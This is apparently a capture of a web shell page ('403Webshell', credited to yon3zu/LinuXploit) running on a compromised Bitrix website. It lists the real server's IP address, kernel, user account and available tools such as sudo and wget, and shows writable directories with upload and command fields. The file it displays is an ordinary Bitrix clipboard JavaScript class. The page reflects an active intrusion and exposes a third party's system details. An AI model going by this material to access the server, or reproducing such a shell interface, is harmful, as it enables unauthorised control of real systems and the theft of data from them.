403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/im/lib/clipboard/src/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/im/lib/clipboard/src/clipboard.js
/**
 * Bitrix Messenger
 * Clipboard manager
 *
 * @package bitrix
 * @subpackage im
 * @copyright 2001-2020 Bitrix
 */

export class Clipboard
{
	static copy(text = '')
	{
		const store = Clipboard.getStore();

		if (text)
		{
			store.focus();
			store.value = text;
			store.selectionStart = 0;
			document.execCommand("copy");
		}
		else
		{
			document.execCommand("copy");

			store.focus();

			document.execCommand("paste");
			text = store.value;
		}

		Clipboard.removeStore();

		return text;
	}

	static getStore()
	{
		if (Clipboard.store)
		{
			return Clipboard.store;
		}

		Clipboard.store = document.createElement('textarea');
		Clipboard.store.style = "position: absolute; opacity: 0; top: -1000px; left: -1000px;";
		document.body.insertBefore(Clipboard.store, document.body.firstChild);

		return Clipboard.store;
	}

	static removeStore()
	{
		if (!Clipboard.store)
		{
			return true;
		}

		document.body.removeChild(Clipboard.store);

		Clipboard.store = null;

		return true;
	}
}

Clipboard.store = null;

Youez - 2016 - github.com/yon3zu
LinuXploit